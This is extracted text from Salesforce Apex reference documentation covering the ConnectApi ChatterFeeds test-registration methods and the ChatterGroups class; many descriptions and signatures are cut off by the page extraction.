recentCommentCount
Type: Integer
density
1153

pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. To retrieve this token,
call getFeedItemsFromFilterFeed and take the value from the updatesToken property of the
ConnectApi.FeedItemPage response body.
result
Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize,
updatedSince)
1154
setTestGetFeedItemsUpdatedSince(communityId, feedType, recentCommentCount, density,

pageParam, pageSize, updatedSince, ConnectApi.FeedItemPage, results)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItemsUpdatedSince is called with
API Version
30.0–31.0
Signature
public static Void setTestGetFeedItemsUpdatedSince(String communityId,
String pageParam, Integer pageSize, String updatedSince, ConnectApi.FeedItemPage results)
Parameters
communityId
Type: String
feedType
and PendingReview.
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
1155
result
Return Value
Type: Void
SEE ALSO:
getFeedItemsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince)
setTestGetFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount,

API Version
30.0–31.0
Signature
Parameters
communityId
Type: String
feedType
• Files
• Groups
• News
• People
• Record
subjectId
Type: String
1156
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
result
Return Value
Type: Void
SEE ALSO:
getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince)
setTestGetFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount,

density, pageParam, pageSize, updatedSince, showInternalOnly, result)
API Version
30.0–31.0
1157
Signature
Boolean showInternalOnly, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
feedType
• Files
• Groups
• News
• People
• Record
subjectId
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
1158
showInternalOnly
Type: Boolean
false.
result
Return Value
Type: Void
SEE ALSO:
getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince,
showInternalOnly)
setTestGetRelatedPosts(communityId, feedElementId, filter, maxResults, result)

Registers a ConnectApi.RelatedFeedPosts object to be returned when the matching
ConnectApi.getRelatedPosts(communityId, feedElementId, filter, maxResults) method is called
in a test context. Use the method with the same parameters or you receive an exception.
API Version
37.0
Signature
public static Void setTestGetRelatedPosts(String communityId, String feedElementId,
ConnectApi.RelatedFeedPostType filter, Integer maxResults, ConnectApi.RelatedFeedPosts
result)
Parameters
communityId
Type: String
feedElementId
Type: String
ID of the feed element. The feed element must be a question.
filter
Type: ConnectApi.RelatedFeedPostType
Specifies the type of related feed post. Values are:
1159
• Answered—Related questions that have at least one answer.

• Generic—All types of related questions, including answered, with a best answer, and unanswered.
Generic is the default value.
maxResults
Type: Integer
The maximum number of results to return. You can return up to 25 results; 5 is the default.
result
Type: ConnectApi.RelatedFeedPosts
In version 37.0 and later, related feed posts are questions.
Return Value
Type: Void
setTestSearchFeedElements(communityId, q, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you
receive an exception.
API Version
31.0
Signature
public static Void setTestSearchFeedElements(String communityId, String q,
Parameters
communityId
Type: String
q
Type: String
result
1160
Return Value
Type: Void
SEE ALSO:
setTestSearchFeedElements(communityId, q, sortParam, result)

API Version
31.0
Signature
public static Void setTestSearchFeedElements(String communityId, String q,
ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
q
Type: String
sortParam
Values are:
result
1161
Return Value
Type: Void
SEE ALSO:
setTestSearchFeedElements(communityId, q, pageParam, pageSize, result)

API Version
31.0
Signature
public static Void setTestSearchFeedElements(String communityId, String q, String
pageParam, Integer pageSize, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.D
q
Type: String
pageParam
Type: String
pageSize
Type: Integer
result
1162
Return Value
Type: Void
SEE ALSO:
setTestSearchFeedElements(communityId, q, pageParam, pageSize, sortParam, result)

API Version
31.0
Signature
public static Void setTestSearchFeedElements(String communityId, String q, String
pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
Parameters
communityId
Type: String
q
Type: String
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1163

result
Return Value
Type: Void
SEE ALSO:
setTestSearchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize,

sortParam, result)
API Version
31.0
Signature
public static Void setTestSearchFeedElements(String communityId, String q, Integer
recentCommentCount, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
Parameters
communityId
Type: String
q
Type: String
recentCommentCount
Type: Integer
1164
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
result
Return Value
Type: Void
SEE ALSO:
searchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize, sortParam)
setTestSearchFeedElementsInFeed(communityId, feedType, q, result)

ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.
API Version
31.0
Signature
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String q, ConnectApi.FeedElementPage result)
1165
Parameters
communityId
Type: String
feedType
q
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, pageParam, pageSize,

API Version
31.0
Signature
ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
1166
feedType
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
q
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, recentCommentCount, density,

pageParam, pageSize, sortParam, q, result)
1167
API Version
31.0
Signature
Parameters
communityId
Type: String
feedType
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1168
q
Type: String
result
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q)
setTestSearchFeedElementsInFeed(communityId, feedType, recentCommentCount, density,

pageParam, pageSize, sortParam, q, filter, result)
API Version
32.0
Signature
Parameters
communityId
Type: String
feedType
1169
and PendingReview.
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
q
Type: String
filter
1170
permission.
permission.
result
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q, filter)
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, q, result)

API Version
31.0
Signature
ConnectApi.FeedType feedType, String subjectId, String q, ConnectApi.FeedElementPage
result)
1171
Parameters
communityId
Type: String
feedType
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feed type is UserProfile, subjectId
can be any user ID. If feedType is any other value, subjectId must be the ID of the context user or the alias me.
q
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, pageParam,

API Version
31.0
Signature
1172
Parameters
communityId
Type: String
feedType
subjectId
Type: String
pageParam
Type: String
pageSize
Type: Integer
sortParam
q
Type: String
result
1173
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q)
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount,

density, pageParam, pageSize, sortParam, q, result)
API Version
31.0
Signature
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
density
1174
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
q
Type: String
result
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
q)
1175

density, pageParam, pageSize, sortParam, q, filter, result)
Registers a ConnectApi.FeedElementPage object to be returned when searchFeedElementsInFeed is called with
API Version
35.0
Signature
ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedFilter filter,
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
density
The amount of content in a feed.
pageParam
Type: String
pageSize
Type: Integer
1176
sortParam
Values are:
q
Type: String
filter
future.
result
Return Value
Type: Void
SEE ALSO:
filter)

density, pageParam, pageSize, sortParam, q, customFilter, result)
1177
API Version
40.0
Signature
ConnectApi.FeedSortOrder sortParam, String q, String customFilter,
Parameters
communityId
Type: String
feedType
subjectId
Type: String
The ID of a case.
recentCommentCount
Type: Integer
density
The amount of content in a feed.
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1178
q
Type: String
customFilter
Type: String
result
Return Value
Type: Void
SEE ALSO:
customFilter)

density, pageParam, pageSize, sortParam, q, showInternalOnly, result)
API Version
31.0
Signature
1179

Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1180
q
Type: String
showInternalOnly
Type: Boolean
false.
result
Return Value
Type: Void
SEE ALSO:
showInternalOnly)

density, pageParam, pageSize, sortParam, q, showInternalOnly, filter, result)
API Version
32.0
Signature
Parameters
communityId
Type: String
1181
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
q
Type: String
showInternalOnly
Type: Boolean
1182
false.
filter
permission.
permission.
result
Return Value
Type: Void
SEE ALSO:
showInternalOnly, filter)

density, pageParam, pageSize, sortParam, q, showInternalOnly, customFilter, result)
1183
API Version
40.0
Signature
ConnectApi.FeedSortOrder sortParam, String q, Boolean showInternalOnly, String
customFilter, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
The ID of a case.
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1184
q
Type: String
showInternalOnly
Type: Boolean
false.
cusotmFilter
Type: String
result
Return Value
Type: Void
SEE ALSO:
showInternalOnly, customFilter)
setTestSearchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, q, result)

ConnectApi.searchFeedElementsInFilterFeed method is called in a test context. Use the method with the same
parameters or you receive an exception.
API Version
31.0
1185
Signature
public static Void setTestSearchFeedElementsInFilterFeed(String communityId, String
subjectId, String keyPrefix, String q, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
q
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestSearchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, pageParam,

API Version
31.0
1186
Signature
sortParam, String q, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
q
Type: String
result
1187
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, q)
setTestSearchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix,

recentCommentCount, density, pageParam, pageSize, sortParam, q, result)
API Version
31.0
Signature
subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity density,
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
recentCommentCount
Type: Integer
density
1188
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
q
Type: String
result
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam,
q)
setTestSearchFeedItems(communityId, q, result)
Registers a test feed item page to be returned when searchFeedItems(communityId, q) is called during a test.
API Version
28.0–31.0
1189
Signature
public static Void searchFeedItems(String communityId, String q, ConnectApi.FeedItemPage
result)
Parameters
communityId
Type: String
q
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestSearchFeedItems(communityId, q, sortParam, result)

Registers a test feed item page to be returned when searchFeedItems(String, String,
ConnectApi.FeedSortOrder) is called during a test.
API Version
28.0–31.0
Signature
public static Void setTestSearchFeedItems(String communityId, String q,
ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
q
Type: String
1190
sortParam
Values are:
result
The feed item test page.
Return Value
Type: Void
SEE ALSO:
setTestSearchFeedItems(communityId, q, pageParam, pageSize, result)

Registers a test feed item page to be returned when searchFeedItems(String, String, String, Integer) is
called during a test.
API Version
28.0–31.0
Signature
public static Void setTestSearchFeedItems(String communityId, String q, String pageParam,
Integer pageSize, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
1191
q
Type: String
pageParam
Type: String
pageSize
Type: Integer
result
The test feed item page.
Return Value
Type: Void
SEE ALSO:
setTestSearchFeedItems(communityId, q, pageParam, pageSize, sortParam, result)

Registers a test feed item page to be returned when searchFeedItems(String, String, String, Integer,
ConnectApi.FeedSortOrder) is called during a test.
API Version
28.0–31.0
Signature
public static Void setTestSearchFeedItems(String communityId, String q, String pageParam,
Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
q
Type: String
1192
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
result
Return Value
Type: Void
SEE ALSO:
setTestSearchFeedItems(communityId, q, recentCommentCount, pageParam, pageSize,

sortParam, result)
Registers a test feed item page to be returned when searchFeedItems(communityId, q, recentCommentCount,
pageParam, pageSize, sortParam) is called during a test.
API Version
29.0–31.0
1193
Signature
public static Void setTestSearchFeedItems(String communityId, String q, Integer
recentCommentCount, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
Parameters
communityId
Type: String
q
Type: String
recentCommentCount
Type: Integer
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
result
1194
Return Value
Type: Void
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, q, result)

Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you
API Version
28.0–31.0
Signature
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType
feedType, String q, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
feedType
and PendingReview.
q
Type: String
result
1195
Return Value
Type: Void
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, pageParam, pageSize, sortParam,

q, result)
API Version
28.0–31.0
Signature
feedType, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String
q, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
feedType
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1196

q
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, recentCommentCount, density,

API Version
29.0–31.0
Signature
Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedItemPage
result)
Parameters
communityId
Type: String
1197
feedType
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
q
Type: String
result
1198
Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q)
setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, q, result)

API Version
28.0–31.0
Signature
feedType, String subjectId, String q, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
q
Type: String
result
1199
Return Value
Type: Void
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, pageParam, pageSize,

API Version
28.0–31.0
Signature
sortParam, String q, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
pageParam
Type: String
pageSize
Type: Integer
1200
sortParam
Values are:
q
Type: String
result
Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q)
setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount,

density, pageParam, pageSize, sortParam, q, result)
API Version
29.0–31.0
Signature
1201
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1202
q
Type: String
result
Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q)
setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount,

density, pageParam, pageSize, sortParam, q, showInternalOnly, result)
API Version
29.0–31.0
Signature
Boolean showInternalOnly, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
feedType
1203
subjectId
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
q
Type: String
showInternalOnly
Type: Boolean
1204
false.
result
Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedDensity, String, Integer,
ConnectApi.FeedSortOrder, String, Boolean)
setTestSearchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, q, result)

ConnectApi.searchFeedItemsInFilterFeed method is called in a test context. Use the method with the same parameters
API Version
28.0–31.0
Signature
public static Void setTestSearchFeedItemsInFilterFeed(String communityId, String
subjectId, String keyPrefix, String q, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
q
Type: String
1205
result
Specify the test feed item page.
Return Value
Type: Void
SEE ALSO:
setTestSearchFeedItemsInFilterFeed(communityId, feedType, subjectId, keyPrefix,

API Version
28.0–31.0
Signature
public static Void setTestSearchFeedItemsInFilterFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String keyPrefix, String pageParam,
Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedItemPage
result)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
keyPrefix
Type: String
1206
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
q
Type: String
result
Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, q)
setTestSearchFeedItemsInFilterFeed(communityId, feedType, subjectId, keyPrefix,

recentCommentCount, density, pageParam, pageSize, sortParam, q, result)
1207
API Version
29.0–31.0
Signature
public static Void setTestSearchFeedItemsInFilterFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String keyPrefix, Integer
recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
keyPrefix
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
1208
sortParam
Values are:
q
Type: String
result
Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam,
q)
setTestSearchStreams(communityId, q, result)
Registers a ConnectApi.ChatterStreamPage object to be returned when the matching
ConnectApi.searchStream(communityId, q) method is called in a test context. Use the method with the same parameters
API Version
40.0
Signature
public static Void setTestSearchStreams(String communityId, String q,
ConnectApi.ChatterStreamPage result)
1209
Parameters
communityId
Type: String
q
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestSearchStreams(communityId, q, sortParam, result)

ConnectApi.searchStream(communityId, q, sortParam) method is called in a test context. Use the method with
the same parameters or you receive an exception.
API Version
40.0
Signature
public static Void setTestSearchStreams(String communityId, String q,
ConnectApi.SortOrder sortParam, ConnectApi.ChatterStreamPage result)
Parameters
communityId
Type: String
q
Type: String
sortParam
1210

streams.
result
Return Value
Type: Void
SEE ALSO:
setTestSearchStreams(communityId, q, pageParam, pageSize, result)

ConnectApi.searchStreams(communityId, q, pageParam, pageSize) method is called in a test context. Use
the method with the same parameters or you receive an exception.
API Version
40.0
Signature
public static Void setTestSearchStreams(String communityId, String q, Integer pageParam,
Integer pageSize, ConnectApi.ChatterStreamPage result)
Parameters
communityId
Type: String
q
Type: String
pageParam
Type: Integer
1211
pageSize
Type: Integer
result
Return Value
Type: Void
SEE ALSO:
setTestSearchStreams(communityId, q, pageParam, pageSize, sortParam, result)

ConnectApi.searchStreams(communityId, q, pageParam, pageSize, sortParam) method is called in
a test context. Use the method with the same parameters or you receive an exception.
API Version
40.0
Signature
Integer pageSize, ConnectApi.SortOrder sortParam, ConnectApi.ChatterStreamPage result)
Parameters
communityId
Type: String
q
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
1212
sortParam
streams.
result
Return Value
Type: Void
SEE ALSO:
setTestSearchStreams(communityId, q, pageParam, pageSize, sortParam, globalScope,

result) (Pilot)
ConnectApi.searchStreams(communityId, q, pageParam, pageSize, sortParam, globalScope)
method is called in a test context. Use the method with the same parameters or you receive an exception.
features.
API Version
41.0
Signature
Integer pageSize, ConnectApi.SortOrder sortParam, Boolean globalScope,
ConnectApi.ChatterStreamPage result)
1213
Parameters
communityId
Type: String
q
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
sortParam
streams.
globalScope
Type: Boolean
result
Return Value
Type: Void
ChatterGroups Class
Information about groups, such as the group’s members, photo, and the groups the specified user is a member of. Add members to a
group, remove members, and change the group photo.
Namespace
ConnectApi
1214
ChatterGroups Methods
The following are methods for ChatterGroups. All methods are static.
IN THIS SECTION:
addMember(communityId, groupId, userId)
Adds the specified user to the specified group in the specified community as a standard member. To execute this method, the
context user must be the group owner or moderator.
addMemberWithRole(communityId, groupId, userId, role)
Adds the specified user with the specified role to the specified group in the specified community. To execute this method, the
context user must be the group owner or moderator.
addRecord(communityId, groupId, recordId)
Associates a record with a group.
createGroup(communityId, groupInput)
Creates a group.
deleteBannerPhoto(communityId, groupId)
Delete a group banner photo.
deleteMember(communityId, membershipId)
Deletes the specified group membership.
deletePhoto(communityId, groupId)
Deletes the photo of the specified group.
getAnnouncements(communityId, groupId)
Gets the first page of announcements in a group.
getAnnouncements(communityId, groupId, pageParam, pageSize)
Gets the specified page of announcements in a group. You can also specify the page size.
getBannerPhoto(communityId, groupId)
Get a group banner photo.
getGroup(communityId, groupId)
Returns information about the specified group.
getGroupBatch(communityId, groupIds)
Gets information about the specified list of groups. Returns a list of BatchResult objects containing
ConnectApi.ChatterGroup objects. Returns errors embedded in the results for groups that couldn’t be loaded.
getGroupMembershipRequest(communityId, requestId)
Returns information about the specified request to join a private group.
getGroupMembershipRequests(communityId, groupId)
Returns information about every request to join the specified private group.
getGroupMembershipRequests(communityId, groupId, status)
Returns information about every request to join the specified private group that has a specified status.
getGroups(communityId)
Returns the first page of all the groups. The page contains the default number of items.
getGroups(communityId, pageParam, pageSize)
Returns the specified page of information about all groups.
1215
getGroups(communityId, pageParam, pageSize, archiveStatus)

Returns the specified page of information about a set of groups with a specified group archive status.
getMember(communityId, membershipId)
Returns information about the specified group member.
getMembers(communityId, groupId)
Get the first page of information about members of a group. The page contains the default number of items.
getMembers(communityId, groupId, pageParam, pageSize)
Get the specified page of information about members of a group.
getMembershipBatch(communityId, membershipIds)
Gets information about the specified list of group memberships. Returns a list of BatchResult objects containing
ConnectApi.GroupMember objects. Returns errors embedded in the results for group memberships that couldn’t be accessed.
getMyChatterSettings(communityId, groupId)
Returns the context user’s Chatter settings for the specified group.
getPhoto(communityId, groupId)
Returns information about the photo for the specified group.
getRecord(communityId, groupRecordId)
Returns information about a record associated with a group.
getRecords(communityId, groupId)
Returns the first page of records associated with the specified group. The page contains the default number of items.
getRecords(communityId, groupId, pageParam, pageSize)
Returns the specified page from the list of records associated with a group.
inviteUsers(groupId, invite)
Invite internal and external users to join a group.
postAnnouncement(communityId, groupId, announcement)
Posts an announcement to the group.
removeRecord(communityId, groupRecordId)
Removes the association of a record with a group.
requestGroupMembership(communityId, groupId)
Requests membership in a private group for the context user.
searchGroups(communityId, q)
Returns the first page of groups that match the specified search criteria. The page contains the default number of items.
searchGroups(communityId, q, pageParam, pageSize)
Returns the specified page of groups that match the specified search criteria.
searchGroups(communityId, q, archiveStatus, pageParam, pageSize)
Returns the specified page of groups that match the specified search criteria and that have the specified archive status.
setBannerPhoto(communityId, groupId, fileId, versionNumber)
Sets the group banner photo to an already uploaded file.
setBannerPhoto(communityId, groupId, fileUpload)
Sets the group banner photo to a file that hasn’t been uploaded.
setBannerPhotoWithAttributes(communityId, groupId, bannerPhoto)
Sets and crops an already uploaded file as the group banner photo.
1216
setBannerPhotoWithAttributes(communityId, groupId, bannerPhoto, fileUpload)

Sets the group banner photo to a file that hasn’t been uploaded and requires cropping.
setPhoto(communityId, groupId, fileId, versionNumber)
Sets the group photo to an already uploaded file.
setPhoto(communityId, groupId, fileUpload)
Sets the group photo to the specified blob..
setPhotoWithAttributes(communityId, groupId, photo)
Sets and crops an already uploaded file as the group photo.
setPhotoWithAttributes(communityId, groupId, photo, fileUpload)
Sets and crops a binary input as the group photo.
updateGroup(communityId, groupId, groupInput)
Update the settings of a group.
updateGroupMember(communityId, membershipId, role)
Updates the specified group membership with the specified role in the specified community. This method is successful only when
the context user is the group manager or owner, or has Modify All Data permission.
updateMyChatterSettings(communityId, groupId, emailFrequency)
Updates the context user’s Chatter settings for the specified group.
updateRequestStatus(communityId, requestId, status)
Updates a request to join a private group.
updateRequestStatus(communityId, requestId, status, responseMessage)
Updates a request to join a private group and optionally provides a message when the request is denied.
addMember(communityId, groupId, userId)

Adds the specified user to the specified group in the specified community as a standard member. To execute this method, the context
user must be the group owner or moderator.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMember addMember(String communityId, String groupId,
String userId)
Parameters
communityId
Type: String
1217
groupId
Type: String
The ID for a group.
userId
Type: String
The ID for a user.
Return Value
Type: ConnectApi.GroupMember
addMemberWithRole(communityId, groupId, userId, role)

Adds the specified user with the specified role to the specified group in the specified community. To execute this method, the context
user must be the group owner or moderator.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupMember addMemberWithRole(String communityId, String
groupId, String userId, ConnectApi.GroupMembershipType role)
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
userId
Type: String
The ID for a user.
role
Type: ConnectApi.GroupMembershipType
The group membership type. One of these values:
• GroupManager
• StandardMember
1218
Return Value
addRecord(communityId, groupId, recordId)

Associates a record with a group.
API Version
34.0
Requires Chatter
Yes
Signature
public static ConnectApi.GroupRecord addRecord(String communityId, String groupId,
String recordId)
Parameters
communityId
Type: String
groupId
Type: String
ID of the group with which to associate the record.
recordId
Type: String
ID of the record to associate with the group.
Return Value
Type: ConnectApi.GroupRecord
Creates a group.
API Version
29.0
Requires Chatter
Yes
1219
Signature
public static ConnectApi.ChatterGroupDetail createGroup(String, communityId,
ConnectApi.ChatterGroupInput groupInput)
Parameters
communityId
Type: String,
groupInput
Type: ConnectApi.ChatterGroupInput
The properties of the group.
Return Value
Type: ConnectApi.ChatterGroupDetail
deleteBannerPhoto(communityId, groupId)
Delete a group banner photo.
API Version
36.0
Requires Chatter
Yes
Signature
public static Void deleteBannerPhoto(String communityId, String groupId)
Parameters
communityId
Type: String
groupId
Type: String
ID of the group.
Return Value
Type: Void
1220
Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.
deleteMember(communityId, membershipId)
Deletes the specified group membership.
API Version
28.0
Requires Chatter
Yes
Signature
public static Void deleteMember(String communityId, String membershipId)
Parameters
communityId
Type: String
membershipId
Type: String
The ID for a membership.
Return Value
Type: Void
Usage
deletePhoto(communityId, groupId)
Deletes the photo of the specified group.
API Version
28.0
Requires Chatter
Yes
1221
Signature
public static Void deletePhoto(String communityId, String groupId)
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
Return Value
Type: Void
Usage
This method is only successful when the context user is the group manager or owner, or has Modify All Data permission.
getAnnouncements(communityId, groupId)
Gets the first page of announcements in a group.
API Version
31.0
Requires Chatter
Yes
Signature
groupId)
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
1222
Return Value
Usage
To post an announcement, get information about an announcement, update the expiration date of an announcement, or delete an
announcement, use the methods of the ConnectApi.Announcements class.
getAnnouncements(communityId, groupId, pageParam, pageSize)

Gets the specified page of announcements in a group. You can also specify the page size.
API Version
31.0
Requires Chatter
Yes
Signature
groupId, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
Usage
1223
getBannerPhoto(communityId, groupId)
Get a group banner photo.
API Version
36.0
Requires Chatter
Yes
Signature
public static ConnectApi.BannerPhoto getBannerPhoto(String communityId, String groupId)
Parameters
communityId
Type: String
groupId
Type: String
The ID of the group.
Return Value
Type: ConnectApi.BannerPhoto
getGroup(communityId, groupId)
Returns information about the specified group.
API Version
28.0

31.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroupDetail getGroup(String communityId, String groupId)
1224
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
Return Value
Type: ConnectApi.ChatterGroupDetail
Gets information about the specified list of groups. Returns a list of BatchResult objects containing
ConnectApi.ChatterGroup objects. Returns errors embedded in the results for groups that couldn’t be loaded.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.BatchResult[] getGroupBatch(String communityId, List<String>
groupIds)
Parameters
communityId
Type: String
groupIds
Type: List<String>
A list of up to 500 group IDs.
Return Value
Type: BatchResult[]
The BatchResult.getResult() method returns a ConnectApi.ChatterGroup object.
1225
Example
// Create a list of groups.
ConnectApi.ChatterGroupPage groupPage = ConnectApi.ChatterGroups.getGroups(null);
